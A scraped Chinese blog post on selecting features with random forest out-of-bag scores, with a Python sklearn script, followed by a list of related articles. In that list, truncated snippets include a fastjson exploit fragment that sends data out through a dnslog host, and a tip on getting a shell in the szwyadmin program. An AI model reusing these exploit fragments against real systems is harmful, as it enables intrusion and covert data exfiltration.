RandomForest算法(有监督学习),可以根据输入数据,选择最佳特征组合,减少特征冗余;
原理:由于随机决策树生成过程采用的Boostrap,所以在一棵树的生成过程并不会使用所有的样本,未使用的样本就叫(Out_of_bag)袋外样本,通过袋外样本,可以评估这个树的准确度,其他子树叶按这个原理评估,最后可以取平均值,即是随机森林算法的性能;
特征选择原理:因为袋外样本的存在,因此不需要进行十字交叉测试(节省时间),通过依次对每个特征赋予一个随机数,观察算法性能的变化,倘若变化大,则说明该特征重要,sklearn中会对每个特征赋予一个分数,分数越大,特征越重要,因此,可以根据特征重要性排序,然后选择最佳特征组合;
随机森林算法特征维度,不同于PCA,随机森林算法能够考虑到特征对类别的影响,而PCA是单纯的数据方差;但是随机森林的缺点是需要迭代计算,如果在大数据条件下,进行选择,就难免有点捉襟见肘了;与LDA区别在于:LDA根据标签,通过变换将同标签数据距离缩小,将累间距离方法;LDA是一种有监督方法,PCA属于无监督方法;
以上是原理和一些个人见解;现在上代码;已经在工作中跑了,学了Python的应该都能看懂,只要改一下数据路径,初始特征选择数量等就可以使用,不懂的可以问我,博客会常在的, 没全部注释!
还有另外一个特征选择,就是通过利用oob对每个特征,迭代进行,评估分数,然后做一个排序,分数越高,特征越重要,然后利用分数由到到低,进行组合,在看模型是否精度是否发生变化,从而选择最优特征组合,这是另一个方法,也是一下代码的由来; """ Created on Mon Mar 19 20:22:09 2018 @author: test function: iteritor for features combintaion date:2018/3/19 """ import copy import sys import pandas as pd import numpy as np from sklearn.ensemble import RandomForestClassifier data = pd.read_csv(r"C:\Users\huzhipeng_sx\Desktop\data", header=None, sep='\t') y_train = data[0].values X_train = data.drop(0, axis=1).values X_train = pd.DataFrame(np.delete(X_train, -5, axis=1)) features_name = ['a', 'b', 'c'] rf = RandomForestClassifier(n_estimators=200, oob_score=True) rf.fit(X_train, y_train) features_imp = rf.feature_importances_ X_train = X_train.as_matrix() # 输入要是数组,不然无法切片,报错slice def select_combine(X_train, y_train, features_name, features_imp, select_num): oob_result = [] fea_result = [] features_imp = list(features_imp) iter_count = X_train.shape[1] - select_num # 迭代次数 if iter_count < 0: print("select_nume must less or equal X_train columns") else: features_test = copy.deepcopy(features_imp) # 生成一个排序特征,进行筛选 features_test.sort() features_test.reverse() while iter_count >= 0: iter_count -= 1 train_index = [features_imp.index(j) for j in features_test[:select_num]] train_feature_name = [features_name[k] for k in train_index][0] train_data = X_train[:, train_index] rf.fit(train_data, y_train) acc = rf.oob_score_ print(acc) oob_result.append(acc) fea_result.append(train_index) if select_num < X_train.shape[1]: select_num += 1 else: break return max(oob_result), oob_result, fea_result[oob_result.index(max(oob_result))] select_num = 20 max_result, oob_result, fea_result = select_combine(X_train, y_train, features_name, features_imp, select_num) 本文链接:https: // blog.csdn.net / zehui6202 / article / details / 79625639

随机森林算法OOB_SCORE最佳特征选择的更多相关文章

  1. Python机器学习笔记——随机森林算法

    随机森林算法的理论知识 随机森林是一种有监督学习算法,是以决策树为基学习器的集成学习算法.随机森林非常简单,易于实现,计算开销也很小,但是它在分类和回归上表现出非常惊人的性能,因此,随机森林被誉为“代 ...

  2. 用Python实现随机森林算法,深度学习

    用Python实现随机森林算法,深度学习 拥有高方差使得决策树(secision tress)在处理特定训练数据集时其结果显得相对脆弱.bagging(bootstrap aggregating 的缩 ...

  3. 随机森林算法-Deep Dive

    0-写在前面 随机森林,指的是利用多棵树对样本进行训练并预测的一种分类器.该分类器最早由Leo Breiman和Adele Cutler提出.简单来说,是一种bagging的思想,采用bootstra ...

  4. 机器学习——Bagging与随机森林算法及其变种

    Bagging算法:  凡解:给定M个数据集,有放回的随机抽取M个数据,假设如此抽取3组,3组数据一定是有重复的,所以先去重.去重后得到3组数据,每组数据量分别是s1,s2,s3,然后三组分别训练组合 ...

  5. RandomForest 随机森林算法与模型参数的调优

    公号:码农充电站pro 主页:https://codeshellme.github.io 本篇文章来介绍随机森林(RandomForest)算法. 1,集成算法之 bagging 算法 在前边的文章& ...

  6. Bagging与随机森林算法原理小结

    在集成学习原理小结中,我们讲到了集成学习有两个流派,一个是boosting派系,它的特点是各个弱学习器之间有依赖关系.另一种是bagging流派,它的特点是各个弱学习器之间没有依赖关系,可以并行拟合. ...

  7. R语言︱决策树族——随机森林算法

    每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 笔者寄语:有一篇<有监督学习选择深度学习 ...

  8. R语言︱机器学习模型评估方案(以随机森林算法为例)

    笔者寄语:本文中大多内容来自<数据挖掘之道>,本文为读书笔记.在刚刚接触机器学习的时候,觉得在监督学习之后,做一个混淆矩阵就已经足够,但是完整的机器学习解决方案并不会如此草率.需要完整的评 ...

  9. H2O中的随机森林算法介绍及其项目实战(python实现)

    H2O中的随机森林算法介绍及其项目实战(python实现) 包的引入:from h2o.estimators.random_forest import H2ORandomForestEstimator ...

随机推荐

  1. QTableWidget数据表格

    void setRowHeight(int row, int height); //行高 void setVerticalHeaderLabels(const QStringList &lab ...

  2. 使用ranger替代资源浏览器

    使用方法参考,这个是比较高校的: http://www.mikewootc.com/wiki/linux/usage/ranger_file_manager.html

  3. SSH框架笔记01_SSH整合的两种方式

    目录 1. 框架回顾 2. 创建项目,引入jar包 2.1 Struts2的jar包 2.2 Hibernate的jar包 2.3 Spring的jar包 3. 引入配置文件 3.1 Struts2配 ...

  4. Python日记(二):Python之禅

    The Zen of Python, by Tim Peters Beautiful is better than ugly. Explicit is better than implicit. Si ...

  5. ISCC之web1

    由题意知,爆破可行. 简单说一下抓包过程,第一个抓到的POST包直接放掉,右键扫描站点,扫出来第二个POST包,第二个POST包cookie,验证码,密码均为空,于是我开始尝试去利用, 经过几次rep ...

  6. MySQL学习总结 (InnoDB)

    主要内容: 存储结构 索引 锁 事务 存储结构 表 索引组织表:表是根据主键顺序组织存放的.如果表中没有非空惟一索引,引擎会自动创建一个6字节大小的指针. 主键的索引是定义索引的顺序,而不是建表时列的 ...

  7. szwyadmin程序漏洞拿shell【方法笔记】

    我们在Google中搜索关键词 关键字:inurl:szwyadmin/login.asp 任意打开一个搜索结果,打开登录界面后在地址栏中输入下面的代码: 代码: javascript:alert(d ...

  8. MySQL 索引原理及慢查询优化

    MySQL凭借着出色的性能.低廉的成本.丰富的资源,已经成为绝大多数互联网公司的首选关系型数据库.虽然性能出色,但所谓“好马配好鞍”,如何能够更好的使用它,已经成为开发工程师的必修课,我们经常会从职位 ...

  9. 使用dos创建一个maven项目

    创建一个maven项目既可以使用eclipse创建,也可以使用dos命令,此文介绍使用dos界面创建一个maven项目 1.win+R输入cmd,打开dos界面 2.cd到你想创建项目的目录(默认都是 ...

  10. fastjson ping外带信息poc

    public class Exploit { public Exploit(){ String base_url = ".egpkd5.dnslog.cn"; //你的dnslog ...